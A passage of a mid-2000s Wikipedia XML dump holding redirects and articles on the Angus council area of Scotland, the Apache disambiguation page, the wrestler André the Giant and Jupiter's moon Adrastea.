      <timestamp>2005-07-30T16:07:25Z</timestamp>
      <contributor>
        <username>The JPS</username>
        <id>158361</id>
      </contributor>
      <comment>Rope (film)</comment>
      <text xml:space="preserve">#REDIRECT [[Rope (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Arians</title>
    <id>2572</id>
    <revision>
      <id>15900971</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Arianism]]
</text>
    </revision>
  </page>
  <page>
    <title>Angus</title>
    <id>2573</id>
    <revision>
      <id>38950639</id>
      <timestamp>2006-02-09T19:00:35Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>clarify</comment>
      <text xml:space="preserve">{{Otherusesabout|the council area in Scotland}}
{{infobox Scotland council area|
   |Council=          Angus council area
   |Image=            [[Image:ScotlandAngus.png]]
   |SizeRank=         10th
   |Size=             [[1 E9 m²|2,182]] [[square kilometre|km&amp;sup2;]]
   |Water=            ?
   |AdminHQ=          [[Forfar]]
   |ISO=              GB-ANS
   |ONS=              00QC
   |PopulationRank=   19th
   |PopulationDate=   2004
   |Population=       108,560
   |PopulationDensity=50 / km&amp;sup2;
   |CouncilDetails=   Angus Council&lt;br /&gt;http://www.angus.gov.uk/
   |Control=          [[Scottish National Party|SNP]]
   |MPs=              &lt;ul&gt;&lt;li&gt;[[Stewart Hosie]]&lt;li&gt;[[James McGovern]]&lt;li&gt;[[Michael Weir]]&lt;/ul&gt;
   |MSPs=             &lt;ul&gt;&lt;li&gt;[[Andrew Welsh]]&lt;li&gt;[[John Swinney]]&lt;/ul&gt;
 }}
'''Angus''' (''Aonghas'' in [[Scottish Gaelic|Gaelic]]) is one of the 32 [[Local government in Scotland|local government]] [[council areas]] of [[Scotland]], and a [[Lieutenancy areas of Scotland|lieutenancy area]]. The [[unitary council]] area borders onto [[Aberdeenshire]], [[Perth and Kinross]] and the [[City of Dundee]]. Main industries include [[agriculture]] and [[fishing]].

Angus was historically a [[Counties of Scotland|county]] (occasionally [[anglified]] to &quot;Forfarshire&quot;) until [[1975]] when it became a district of the [[Tayside]] [[Regions of Scotland|Region]]. In [[1996]] the region was abolished and Angus was established as a [[unitary authority]]. The former county had borders with [[Kincardineshire]] to the north-east, [[Aberdeenshire (historic)|Aberdeenshire]] to the north, [[Perthshire]] to the west.  Southwards, it faced [[Fife]] across the [[Firth of Tay]].

Areas similar to that of the former county are covered by the [[Angus (UK Parliament constituency)|Angus Westminster constituency]] and [[Angus (Scottish Parliament constituency)|Angus Holyrood constituency]].

The area can be split into three geographic areas. To the north and west, the topography is mountainous. This is the area of the five Angus Glens. The area is sparsely populated and the main industry is hill-farming. In the south and east, the topography consists of rolling hills bordering the sea. The area is fairly well populated with the larger towns and the City of Dundee on the coast. In between these two areas lies Strathmore, ''the Great Valley'', a fertile agricultural area, noted for potatoes, [[Angus cattle]], and soft fruit.

==Towns and villages==
*[[Aberlemno, Angus|Aberlemno]]
*[[Arbroath, Angus|Arbroath]] -- largest town
*[[Auchmithie, Angus|Auchmithie]]
*[[Brechin, Angus|Brechin]]
*[[Bridge of Craigisla, Angus|Bridge of Craigisla]]
*[[Carmyllie, Angus|Carmyllie]]
*[[Carnoustie, Angus|Carnoustie]]
*[[Edzell, Angus|Edzell]]
*[[Farnell, Angus|Farnell]]
*[[Forfar, Angus|Forfar]] -- county town and administrative centre
*[[Friockheim, Angus|Friockheim]]
*[[Glamis]]
*[[Guthrie, Angus|Guthrie]]
*[[Inverkeilor, Angus|Inverkeilor]]
*[[Kirriemuir, Angus|Kirriemuir]]
*[[Letham, Angus|Letham]]
*[[Newbigging, Angus|Newbigging]]
*[[Memus, Angus|Memus]]
*[[Monifieth]]
*[[Monikie, Angus|Monikie]]
*[[Montrose, Angus|Montrose]]
*[[St Vigeans, Angus|St Vigeans]]

{{infobox Scotland traditional county|
   |County=     Angus
   |Image=      [[Image:AngusTraditional.png|230px]]
   |SizeRank=   11th
   |Size=       568,750 acres (2302 km&amp;sup2;)
   |Water=      ?
   |CountyTown= [[Forfar]]
   |ChapmanCode=ANS
 }}

==Places of interest==
*[[Aberlemno Sculptured Stones]] ([[Pictish]] symbols)
*[[Angus Folk Museum]], [[Glamis]]
*[[Arbroath Abbey]], place of signing of the [[Declaration of Arbroath]]
*[[Caledonian Railway (Brechin)]]
*[[Carnlochan NNR]] - [[National Nature Reserve]]
*[[Edzell Castle]]
*[[Glamis Castle]]
*[[Loch of Kinnordy Nature Reserve]]
*[[Montrose Basin]] Nature Reserve

{{Scotland subdivisions}}
{{Scotland traditional counties}}

[[Category:Angus| ]]
[[Category:Counties of Scotland]]

[[fr:Angus (Écosse)]]
[[no:Angus]]
[[pl:Angus]]
[[sv:Angus (grevskap)]]</text>
    </revision>
  </page>
  <page>
    <title>Apache (disambiguation)</title>
    <id>2574</id>
    <revision>
      <id>40346217</id>
      <timestamp>2006-02-19T23:31:24Z</timestamp>
      <contributor>
        <username>Qyd</username>
        <id>889409</id>
      </contributor>
      <minor />
      <comment>apache corporation</comment>
      <text xml:space="preserve">'''Apache''' may refer to:

''Native Americans''
* [[Apache]], Native American tribes of North America (Mexico &amp; USA).
* [[Southern Athabascan languages]] (or Apachean languages), spoken by Apache tribes, i.e. [[Chiricahua]], [[Western Apache]] (includes White Mountain Apache, San Carlos Apache, and Tonto Apache), [[Mescalero]], [[Lipan Apache]], [[Plains Apache]] (a.k.a. Kiowa-Apache), or [[Jicarilla Apache]].

''Military''
* [[MBDA Apache]], a French missile system.
* [[AH-64 Apache]], an attack helicopter.
* [[Westland WAH-64 Apache]], a licence-built version of the AH-64 Apache for the British Army.

''Computing''
* [[Apache HTTP Server]], a popular [[web server]] software maintained by the [[Apache Software Foundation]].
*[[Apache License]], an open source license authored by the [[Apache Software Foundation]]

''People''
* [[Apache Indian (musician)|Apache Indian (rapper)]], the stage name of British ragga dee jay Steven Kapur.
*[[Apache (thug)]], a type of French underworld person
*[[Les Apaches]], a society of French composers and artists
*Apache, a Japanese scrap scavenger, see [[Japan's Threepenny Opera]]

''Entertainment''
*[[Apache (dance)]], a form of dance in the 1920s.
*[[Apache (dance move)]], a move in [[Lindy Hop]] and other dances.
*[[Apache (single)]], a rock 'n' roll instrumental recorded by [[The Shadows]] and others.
*[[Apache (computer game)]], a game by Team 17 released in 1993.
* ''[[Apache (movie)]]'', a 1954 motion picture film starring actor [[Burt Lancaster]] and directed by [[Robert Aldrich]].
*&quot;Apache,&quot; a hit song by the [[rap]] group [[Sugarhill Gang]]

''Places''
*[[Apache, Oklahoma]], a city in Oklahoma.

''Education''
* [[Apaches (safety)]], an educational health and safety film

''Medicine''
* [[APACHE II]], an acute physiology and chronic health evaluation system, a numerical scoring system for critically ill patients that can predict their survival.

''Industry''
* [[Apache_Corporation_(Energy)|Apache Corporation]], large independent oil and gas company.
----
{{disambig}}

[[da:Apache (flertydig)]]
[[de:Apache]]
[[es:Apache]]
[[fr:Apache]]
[[hr:Apache]]
[[it:Apache]]
[[nl:Apache]]
[[ja:アパッチ]]
[[pl:Apache]]
[[pt:Apache]]
[[ru:Апач]]
[[sl:Apache]]
[[sv:Apache]]</text>
    </revision>
  </page>
  <page>
    <title>André the Giant</title>
    <id>2575</id>
    <revision>
      <id>41972024</id>
      <timestamp>2006-03-02T23:38:51Z</timestamp>
      <contributor>
        <ip>70.95.181.44</ip>
      </contributor>
      <comment>/* Legacy */</comment>
      <text xml:space="preserve">{{Infobox Wrestler|name=André René Roussimoff   
|image=Andre09.jpg 
|names=André Roussimoff&lt;br /&gt;Butcher Roussimoff&lt;br /&gt;Monster Roussimoff&lt;br /&gt;Monster Eiffel Tower&lt;br /&gt;Jean Ferré&lt;br /&gt;Géant Ferré&lt;br /&gt;'''André the Giant'''&lt;br /&gt;Giant Machine
|height=6 ft 10 in (208 cm)
|weight=380 lb (172 kg)&lt;br /&gt;to 540 lb (245 kg) 
|birth_date = [[May 19]], [[1946]]
|death_date = [[January 27]], [[1993]]
|birth_place = [[Molien]], [[Seine-et-Marne]]
|death_place = [[Paris]]
|resides=
|billed=
|trainer=Frank Valois&lt;br&gt;Édouard Carpentier 
|debut=[[1964]]
|retired=[[1992]]
|}}

'''André the Giant''' ([[May 19]], [[1946]] &amp;ndash; [[January 27]], [[1993]]) was a [[Professional wrestling|professional wrestler]] and [[actor]], born '''André René Roussimoff''' in [[Molien]], [[France]].  His great size was a result of excessive [[growth hormone]], a condition known as [[pituitary gigantism]], and led to him being dubbed &quot;The Eighth Wonder of the World.&quot;  

==Career==
Born to French parents of [[Bulgaria|Bulgarian]] and [[Poland|Polish]] descent in a small farm near Ussy-sur-Marne, he left home in his adolescence to become a pro wrestler.  He was billed at a height of 7'4&quot; (2.24m) and sometimes 7'5&quot; (2.26m) with a weight which ranged from 380 to 525 pounds.  His correct height is contested but the last time he was legitimately measured at the age of 24, he was 6 feet and 9 3/4 inches tall (2.08m) &lt;sup&gt;[[#References|1]]&lt;/sup&gt;. The great exaggeration of his height probably comes from the fact that [[Kareem Abdul-Jabbar]] was the tallest athlete in the world at the time at 7 feet and 2 inches (2.19m) and promoters wanted to bill Roussimoff as the biggest athlete in the world.  Nevertheless, the sight of him alone was enough to draw huge crowds in a day when there were only a handful of people over 6'6&quot; (1.98m). After touring the world with different promotions for many years (mostly in [[Montreal]] for Édouard Carpentier), he was signed by the World Wide Wrestling Federation (which would later change its name to the [[World Wrestling Federation]] in 1979, and is now known as [[World Wrestling Entertainment]]). On [[March 26]], [[1973]], Roussimoff made his WWF debut, defeating Buddy Wolfe in New York's [[Madison Square Garden]]. He also dabbled in acting during [[1976]] and [[1977]], playing a [[Sasquatch]] (aka &quot;[[Bigfoot]]&quot;) on the television series ''[[The Six Million Dollar Man]]''. By the time WWF chairman [[Vince McMahon|Vincent K. McMahon]] began to expand his promotion to the national level in the early [[1980s]], Roussimoff wrestled exclusively for the WWF. 

Roussimoff was a very imposing figure &amp;ndash; it is said that he never tested the full extent of his true strength because he was afraid of the damage it might cause. Despite the hype, many wrestlers have stated that while Andre might not know his full strength, he was always easy to work with in the ring, and always protected his opponents. It is also said that Roussimoff could drink an entire case of [[beer]] and not feel so much as a buzz. There were also stories of Andre drinking cases of wine until he would pass out as a way to numb the pain his condition caused him.  He would pass out in hotel lobbies, and a sheet would simply be thrown over him, as no one had the strength to move his massive body unaided.  However, there is no proof that any of these stories are true, and that while Andre was certainly a legendary drinker who loved to have a good time eating and drinking with friends, wrestling is famous for tall tales, and this could be simply another tall tale.  He was offered a professional [[American football]] contract with the [[Washington Redskins]] after a tryout in [[1974]] and seriously considered it before turning it down, reasoning that he could make far more money wrestling (which was probably true, especially at that time).

He was one of the WWF's most beloved &quot;[[face (professional wrestling)|babyfaces]]&quot; throughout the [[1970s]] and early '80s, although the legend that for 14 years never lost by pinfall or submission in a WWF ring before being pinned by [[Hulk Hogan]] on [[March 29]], [[1987]] at [[WrestleMania III]] is pure fiction, designed to hype the WrestleMania matchup to be bigger than it was.  Roussimoff had lost clean in matches outside of the parameters of the WWF; a pinfall loss in [[Mexico]] to El [[Canek]] in [[1984]], and in [[Japan]], a submission loss to [[Antonio Inoki]] in [[1986]], as well as a controversial no-contest finish against [[Akira Maeda]], who used heel shoot-style tactics to dominate the match.  He also went 60-minute time limit draws with the two other major world champions of the day, [[Harley Race]] and [[Nick Bockwinkel]].

Roussimoff had memorable clashes all over the world with a variety of tough, rugged opponents. Among his chief rivals in the ring: [[Ed Farhat|The Sheik]] (who gained a deathmatch win over the Frenchman in 1974 with the help of his fireball), [[Abdullah the Butcher]], [[Stan Hansen]], [[Ernie Ladd]], and a young [[Hulk Hogan]], who first met Roussimoff in 1978 during his rookie years in the deep South. Hogan and André would go on to have one of the great WWF feuds of 1980, peaking in front of 36,295 fans at the [[Showdown at Shea|Showdown At Shea]] event, on [[August 9]], [[1980]] in [[Flushing, New York]]'s [[Shea Stadium]]. 

One of André's most bitter feuds pitted him against the Mongolian terror Killer Khan, who was managed by the late [[Fred Blassie]]. According to the storyline, Khan had broken André's ankle during a match in [[Rochester, New York]], by leaping off the top rope and crashing down upon it with his kneedrop (actually, André had broken his ankle getting out of bed). After a stay at Beth-Israel Hospital in Boston, Roussimoff returned with payback on his mind. On [[November 14]], [[1981]] at the Philadelphia Spectrum, Roussimoff exacted revenge by destroying Killer Khan in what was billed as a &quot;Mongolian Stretcher Match&quot;, in which the loser must be taken to the dressing room on a stretcher.

Another memorable Roussimoff feud involved a man who considered himself to be &quot;the true giant&quot; of wrestling: the late 6'10&quot;, 364-pound [[John Minton (wrestler)|Big John Studd]]. Throughout the early to mid-1980s, Roussimoff and Studd fought all over the world, battling to try and determine who the real giant of wrestling was. In December 1984, Studd took the feud to a new level, when he and partner [[Ken Patera]] knocked out Roussimoff during a televised tag team match, and proceeded to cut off Roussimoff's famous long locks.  Roussimoff had the last laugh at the first [[WrestleMania (1985)|WrestleMania]], on [[March 31]], [[1985]] at Madison Square Garden.  Roussimoff conquered Studd in a [[United States dollar|$]]15,000 Bodyslam Challenge.  After slamming Studd, he attempted to give the $15,000 prize to the fans, before having the bag stolen from him by his future manager Bobby &quot;The Brain&quot; Heenan.

The following year, at [[WrestleMania 2]] ([[April 7]], [[1986]]), Roussimoff continued to display his dominance, by winning a 20-man battle royal that featured top NFL stars and wrestlers. Roussimoff eliminated future wrestling legend [[Bret Hart]] to win the contest.

Afterwards, Roussimoff continued his [[feud (professional wrestling)|feud]] with Studd and [[Chris Pallies|King Kong Bundy]].  Roussimoff was suspended after a no-show; he returned under a mask as 'The Giant Machine' part of a team with 'Big Machine' ([[Robert Windham]]) and 'Super Machine' ([[Bill Eadie]]). (The 'Machines' gimmick was copied from [[New Japan Pro Wrestling]] character 'Super Strong Machine', played by Japanese wrestler Junji Hirata.) Soon afterwards, Giant Machine disappeared and Roussimoff was reinstated, to the approval of [[Bobby &quot;The Brain&quot; Heenan]].

Roussimoff was turned [[heel (professional wrestling)|heel]] in [[1987]] so that he could face [[Hulk Hogan]] for the WWF Championship in the main event of [[WrestleMania III]]. In early 1987, Hogan was presented a trophy for being the [[WWE Championship|WWF World Heavyweight Champion]] for three years.  Roussimoff came out to congratulate him. Shortly afterwards, Roussimoff was presented a slightly smaller trophy for being &quot;undefeated in the WWF for 15 years.&quot; In actuality, Roussimoff had suffered a handful of countout and disqualification losses in the WWF, but had never been pinned or forced to submit in a WWF ring. Hogan came out to congratulate Roussimoff, and ended up being the focal point of the interview.  A visibly annoyed Roussimoff walked out in the midst of Hogan's speech. Then, on an edition of ''[[Piper's Pit]]'', Hogan was confronted by Heenan. Heenan announced that his new protege was Roussimoff.  Roussimoff then challenged Hogan to a title match at WrestleMania III, ripping the t-shirt and [[crucifix]] off of Hogan.

It was at WrestleMania III that the public first really saw the pain that Roussimoff was going through, by this stage his body was weighed in at about 525 pounds and his bones and joints were finding it hard supporting such a huge weight. Hogan won the match after dropping Roussimoff with a bodyslam, followed by Hogan's running legdrop finisher (years later, Hogan stated that Roussimoff was so heavy, he felt more like 700 pounds). Another famous tall tale about the match is that &quot;no one knew&quot; if Andre would lose the match.  In reality, Andre had agreed to the match a long time before, mostly for health reasons.  Before being signed to the WWF, Roussimoff had wrestled in Japan. It was here that a doctor diagnosed Roussimoff with his condition and told him that those with the same problem were generally lucky to reach forty. Roussimoff never told his family of the diagnosis and his closest friends believe that it was this motivation that led Roussimoff to live life to the fullest until he died. &lt;!-- Unsourced image removed: [[Image:Andre and hulk.jpg|frame|Hulk Hogan and André the Giant at Wrestlemania III]] --&gt;

The Hogan-André face off in WrestleMania III was likely the most highly anticipated professional wrestling matchup in history &amp;ndash; the apex of wrestling's most recent golden era. The event, held at the [[Pontiac Silverdome]], had millions watching on [[pay-per-view]], and established great permanent value in the WrestleMania franchise. Hogan defeated Roussimoff, in what some consider a passing of the torch from Roussimoff, wrestling's biggest star of the '70s, to Hogan, wrestling's biggest star of the '80s.  The [[feud (professional wrestling)|feud]] between Roussimoff and Hogan simmered, even as Roussimoff's health declined.  Despite the main event, many feel that the undercard match of Ricky Steamboat challenging Randy Savage for the WWF Intercontinental Championship in retaliation for Savage &quot;crushing&quot; Steamboat's larynx months earlier after delivering his famous top rope elbowsmash on Steamboat, whom he draped over the steel guardrail designed to separate the ring area from the audience.  The commonly and frequently repeated figure of &quot;93, 173&quot; has been proven false many times over, another &quot;white lie&quot; designed to &quot;prove&quot; to the media how popular the WWF is.  In reality, the Silverdome can't handle that many people in any situation.  The real figure is somewhere in the 67,000-78,000 range, depending on the source asked.

Roussimoff won the WWF title from Hogan on [[February 5]], [[1988]] in a match where appointed [[referee]] Dave Hebner was &quot;detained backstage&quot; and a replacement, his &quot;evil&quot; twin brother Earl, made a three count on Hogan while his shoulders were off of the mat. Roussimoff then &quot;sold&quot; the title to &quot;The Million Dollar Man&quot; [[Ted DiBiase]] and the title was vacated.  This was shown on the WWF's NBC program &quot;The Main Event&quot; (usually seen Saturdays as &quot;Saturday Night's Main Event&quot;).  Andre famously mistakenly called the Federation's Championship the &quot;WWF Tag Team Championship&quot;, perhaps foreshadowing his regin with Haku. 

At [[WrestleMania IV]], Roussimoff and Hulk Hogan went to a double DQ in a WWF title tournament match.  Afterwards, Roussimoff and Hogan's feud died down after a brutal steel cage match held at ''WrestleFest'', on [[July 31]], [[1988]] in Milwaukee.

[[Image:Andregiantmug1.jpg|left|thumb|300px|André the Giant in a police mugshot after being arrested for assaulting a cameraman]]

André won the World Tag Team Championship with his partner [[Uliuli Fitita|Haku]] from [[Demolition (professional wrestling)|Demolition]], on [[December 13]], [[1989]]. Managed by Bobby Heenan, André and Haku were known as The Colossal Connection. They lost their titles at [[WrestleMania VI]] back to [[Demolition (professional wrestling)|Demolition]], on [[April 1]], [[1990]].  Roussimoff had a falling out with Heenan and soon left the WWF altogether.  He went back to Japan, this time for [[All Japan Pro Wrestling]], where he briefly teamed with owner [[Giant Baba]], who despite his name was only a giant when compared to the average Japanese.

André starred in several [[film|movies]] towards the end of his career, most notably as Fezzik in 1987's ''[[The Princess Bride (film)|The Princess Bride]]''.  He had a [[cameo appearance]] in [[1984]]'s ''[[Conan the Destroyer]]'' as Dagoth, the resurrected horned giant beast, which is killed by Conan, the character portrayed by  [[Arnold Schwarzenegger]].  In his final film, he appeared in something of a cameo role as a [[circus]] giant in the [[comedy]] ''[[Trading Mom]]'', which was not released until the year after his death.

The disease that granted him his immense size also began to take its toll on his body.  By the late 1980s André was in constant, near-crippling pain and his heart struggled to pump blood throughout his massive body. When he was not in front of a camera, he was usually in a wheelchair.

He stopped competing entirely in the very early [[1990s]] due to the increasing pain his illness was causing him, retiring to his [[winery]] in [[France]].  His heart finally failed him in [[1993]], and Roussimoff passed away in his sleep at a [[hotel]] in [[Paris]] while in town for his father's funeral.  He was cremated and his ashes were spread over his ranch in [[Ellerbe, North Carolina]].

== Legacy ==

To honor André the Giant, the WWF created the [[WWF Hall of Fame]] in 1993 and made him their first inductee.

André was the inspiration for the 1998 movie ''[[My Giant]]'', written by his friend [[Billy Crystal]], whom he had met during the filming of ''[[The Princess Bride (film)|The Princess Bride]]''.

Even in death, Andre was memorable.  Due to his immense size, no crematorium in France could accommodate his final wishes to be cremated within 48 hours of his passing.  Instead, Andre would lie in state for nearly a week while preparations were made, to include a custom casket.  Andre's body was to be flown to North Carolina, and airlines had to reshuffle some schedules and cargo to be able to be under the weight limit with Andre on board.  Even his ashes weighed nearly twice that of a normal-sized human's ashes.

In the early '90s, shortly after his death, Andre The Giant became somewhat of a figure of social commentary, thanks in part to the [[Andre The Giant Has A Posse]] (Later known as the OBEY) sticker campaign.

==Personal Life==
While always being referred to as a &quot;bachelor for life,&quot; Roussimoff did have a daughter, Robin Christensen, born in [[1979]], who stands at around 6 feet tall herself, which has been mentioned in some biographies of André. WWE referee Tim White mentioned in the A&amp;E biography of &quot;Andre the Giant&quot; that she lives somewhere in the Seattle, Washington area. Andre also has 2 nephews, Boris and Godefroy.

==Wrestling facts==

===Managers===
*[[Bobby Heenan]]
*[[Ted DiBiase]]
*Frank Valois
*[[Lou Albano]]
*K.Y. Wakamatsu
*[[Tim White]]

[[Image:Andre_Piledriver.jpg|right|thumb|120px|André the Giant holding an opponent in the [[Piledriver (professional wrestling)#Tombstone piledriver|tombstone piledriver]] position]]

===Finishing and signature moves===
*'''[[Professional wrestling attacks#Elbow drop|Elbow drop]]'''
*'''[[Suplex#Double underhook suplex|Double underhook suplex]]'''
*[[Piledriver (professional wrestling)#Tombstone piledriver|Tombstone piledriver]]
*[[Professional wrestling attacks#Big boot|Big boot]]
*[[Professional wrestling attacks#Backhand chop|Knife edge chops]]
*[[Professional wrestling holds#Bear hug|Bearhug]]
*[[Professional wrestling attacks#Headbutt|Headbutt]]
*[[Professional wrestling holds#Chokes|Choke]]

==Filmography==
*''[[The Princess Bride (film)|The Princess Bride]]'' - [[1987 in film|1987]] - [[Fezzik]]
*''[[Micki &amp; Maude]]'' - [[1984 in film|1984]]
*''[[Conan the Destroyer]]'' - [[1984 in film|1984]]
*''[[I Like to Hurt People]]'' - 1970s

==Championships and accomplishments==

*'''[[World Wrestling Entertainment|World Wrestling Federation]]'''
:*1-time [[WWE Championship|WWF World Heavyweight Champion]]
:*1-time [[World Tag-Team Championship|WWF World Tag Team Champion]] (with [[Uliuli Fifita|Haku]])
:*[[WWE Hall of Fame|WWE Hall of Famer]] (inducted in 1993)

*'''Other titles'''
:*1-time [[International Pro Wrestling|IWA]] Tag Team Champion (with Michael Nader)
:*1-time Australasian Tag Team Champion (with [[Robert Miller (wrestler)|Ron Miller]])
:*1-time Tri-State Tag Team Champion (with [[Virgil Runnels, Jr.|Dusty Rhodes]])
:*1-time [[NWA Florida Tag Team Championship|NWA Florida Tag Team Champion]] (with Dusty Rhodes)

*'''[[Pro Wrestling Illustrated]]'''
:*PWI named him # '''3''' of the 500 best singles wrestlers of the [[PWI Years]] in 2003.
:*PWI Editor's Award (1993)
:*PWI Most Popular Wrestler Award (1977)
:*PWI Most Popular Wrestler Award (1982)
:*PWI Most Hated Wrestler Award (1988)
:*PWI Match of the Year Award, versus [[Killer Khan]] (1981)
:*PWI Match of the Year Award, versus [[Hulk Hogan]] (1988)

*
'''[[Wrestling Observer Newsletter]]'''
:*He is a member of the [[Wrestling Observer Newsletter Hall of Fame]] (inducted in 1996)
:*1981 Feud of the Year (vs Killer Khan)

==Championship Succession==
{{start box}}
| colspan = 3 align = center | '''[[WWE Championship|WWF Championship]]'''
|-
| width = 30% align = center | Preceded by:&lt;br/&gt;'''[[Hulk Hogan]]'''
| width = 40% align = center | First
| width = 30% align = center | Succeeded by :&lt;br/&gt;'''Vacant'''
|-
| colspan = 3 align = center | '''[[WWE World Tag-Team Championship]]'''
|-
| width = 30% align = center | Preceded by:&lt;br/&gt;'''Demolition'''
| width = 40% align = center | First, with [[Uliuli Fifita|Haku]]
| width = 30% align = center | Succeeded by :&lt;br/&gt;'''Demolition'''
|-
{{end box}}

==Video games==
*[[Andore (video game character)|Andore]] from [[Capcom]]'s ''[[Final Fight]]'' series looks similar to Andre. Andore is a recurring enemy in the ''Final Fight'' series. 
*In the ''[[Street Fighter III]]'' series, there is a character called [[Hugo (video game character)|Hugo]] who is a dead ringer for Andore, the aforementioned Andre-lookalike.
*Andre only appeared in one video game when he was alive; the original Wrestlemania for the [[Nintendo Entertainment System|NES]].
*André the Giant appeared as a secret character in the [[Nintendo 64]] game, [[WWF No Mercy]].
*André the Giant is featured in WWE games, such &quot;Smackdown Vs Raw 2006&quot; as a Legend Character.
*Andre the Giant is a featured spraypaint in the &quot;[[Half-Life]]&quot; series of PC videogames.

==See also==
*[[André the Giant Has a Posse]] - a well known graffiti campaign using André's likeness

==References==
# ''Tributes II'' by [[Dave Meltzer]], 2004, ISBN 1-58261-817-8, p. 68

==External links==
*[http://andrethegiant.com/ The Official Site of André the Giant]
*[http://www.wrestlingmuseum.com/pages/bios/halloffame/andrebio.html Wrestling museum biography]
*{{imdb name|id=0000764|name=André the Giant}}

&lt;!-- Categories --&gt;
[[Category:French professional wrestlers|André the Giant]]
[[Category:1946 births|André the Giant]]
[[Category:1993 deaths|André the Giant]]
[[Category:Entertainers who died in their 40s|André the Giant]]
[[Category:People with gigantism|André the Giant]]
[[Category:Vintners|André the Giant]]

&lt;!-- Translations --&gt;

[[da:Andre the Giant]]
[[de:André the Giant]]
[[es:André René Roussimoff]]
[[fi:Andre The Giant]] 
[[fr:Andre the Giant]]
[[he:אנדרה הענק]]
[[ja:アンドレ・ザ・ジャイアント]]</text>
    </revision>
  </page>
  <page>
    <title>Adrastea (moon)</title>
    <id>2577</id>
    <revision>
      <id>41366876</id>
      <timestamp>2006-02-26T22:07:46Z</timestamp>
      <contributor>
        <username>Nolanuss</username>
        <id>379510</id>
      </contributor>
      <minor />
      <comment>interwiki +cs</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; align=&quot;right&quot;
|+'''Adrastea'''
|-
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#000000&quot; | &lt;div style=&quot;width:200px;&quot;&gt;[[Image:adrastea.jpg]]&lt;br /&gt;&lt;font color=&quot;#ffffff&quot;&gt;''This image of Adrastea was taken by [[Galileo probe|Galileo]]'s solid state imaging system between November [[1996]] and June [[1997]].''&lt;/font&gt;&lt;/div&gt;
|-
! bgcolor=&quot;#a0ffa0&quot; colspan=&quot;2&quot; | Discovery
|-
! align=&quot;left&quot; | Discovered by
| [[David Jewitt|David C. Jewitt]]&lt;br/&gt; [[G. Edward Danielson]]
|-
! align=&quot;left&quot; | Discovered on
| [[July 8]], [[1979]]
|-
! bgcolor=&quot;#a0ffa0&quot; colspan=&quot;2&quot; | [[Orbit]]al characteristics
|-
! align=&quot;left&quot; | Mean [[radius]]
| 128,694 [[kilometre|km]] (0.000860 [[astronomical unit|AU]])
|-
! align=&quot;left&quot; | [[Eccentricity (orbit)|Eccentricity]]
| 0.0018
|-
! align=&quot;left&quot; | [[Periapsis]]
| 128,460 [[kilometre|km]] (0.000859 [[astronomical unit|AU]])
|-
! align=&quot;left&quot; | [[Apoapsis]]
| 128,930 [[kilometre|km]] (0.000862 [[astronomical unit|AU]])
|-
! align=&quot;left&quot; | [[Sidereal period|Revolution period]]
| 0.29826 d (7 h 9.5 min)
|-
! align=&quot;left&quot; | Orbital [[circumference]]
| 808,600 km (0.005 AU)
|-
! align=&quot;left&quot; | Orbital [[velocity]]
| max: 31.435 km/s&lt;br/&gt;mean: 31.378 km/s&lt;br/&gt;min: 31.322 km/s
|-
! align=&quot;left&quot; | [[Inclination]]
| 2.22° (to the [[ecliptic]])&lt;br/&gt;0.00° (to Jupiter's equator)
|-
! align=&quot;left&quot; | Is a [[natural satellite|satellite]] of
| [[Jupiter]]
|-
! bgcolor=&quot;#a0ffa0&quot; colspan=&quot;2&quot; | Physical characteristics
|-
! align=&quot;left&quot; | Mean [[diameter]]
| 20 km (26&amp;times;20&amp;times;16 km)
|-
! align=&quot;left&quot; | Surface [[area]]
| ~5300 [[square kilometre|km&lt;sup&gt;2&lt;/sup&gt;]]
|-
! align=&quot;left&quot; | [[Volume]]
| ~4400 [[square kilometre|km&lt;sup&gt;3&lt;/sup&gt;]]
|-
! align=&quot;left&quot; | [[Mass]]
| 7.5{{e|15}} [[kilogram|kg]]
|-
! align=&quot;left&quot; | Mean [[density]]
| 3.0 g/cm&lt;sup&gt;3&lt;/sup&gt;
|-
! align=&quot;left&quot; | Surface [[gravity]]
| 0.0066 [[Acceleration|m/s&lt;sup&gt;2&lt;/sup&gt;]] (0.001 g)
|-
! align=&quot;left&quot; | [[Escape velocity]]
| 0.011 km/s
|-
! align=&quot;left&quot; | Rotation period
| [[synchronous rotation|synchronous]]
|-
! align=&quot;left&quot; | [[Rotation]] velocity
| 11 km/h
|-
! align=&quot;left&quot; | [[Axial tilt]]
| zero
|-
! align=&quot;left&quot; | [[Albedo]]
| 0.10
|-
! align=&quot;left&quot; | Surface [[Temperature|temp.]]
| 
{| cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; border=&quot;0&quot;
|-
! min !! mean !! max
|-
| [[Kelvin|K]]
| ~122 K
| K
|}
|-
! align=&quot;left&quot; | [[Atmospheric pressure]]
| 0 [[Pascal|kPa]]
|}
'''Adrastea''' ''(ad'-rə-stee'-ə,'' {{IPA2|ˌædrəˈstiə}}, Greek ''Αδράστεια),'' or '''Jupiter&amp;nbsp;XV''', is the second of [[Jupiter (planet)|Jupiter]]'s known [[natural satellite|moon]]s (counting outward from the planet). It was discovered on [[Voyager 2]] probe photographs taken in [[1979]] and received the designation '''S/1979&amp;nbsp;J&amp;nbsp;1''' ([http://cfa-www.harvard.edu/iauc/03400/03454.html IAUC 3454]) after the discovery had been announced in ''Science'' (vol. 206, p. 951, November 23, 1979). In [[1983]] it was officially named after the mythological [[Adrastea (mythology)|Adrastea]], daughter of [[Jupiter (god)|Jupiter]] and [[Ananke (mythology)|Ananke]]. 

It is the smallest of the [[inner satellites of Jupiter]].

Adrastea is the first natural satellite to be discovered through the use of images taken by an interplanetary spacecraft, rather than through telescopic photography.

Adrastea is inside Jupiter's [[planetary ring]] and may be the source of some of its material. Its orbit lies inside Jupiter's synchronous orbit radius, and as a result tidal forces are slowly causing its orbit to decay. It is also within Jupiter's [[Roche limit]], but is small enough to avoid tidal disruption.

[[Image:Adrastée FDS 20630.png|thumb|300px|left|Discovery image of Adrastea, taken on [[July 8]], [[1979]] by Voyager 2. Adrastea is the dot in the very middle, straddling the line of the Jovian rings.]]
&lt;br clear=&quot;all&quot;&gt;
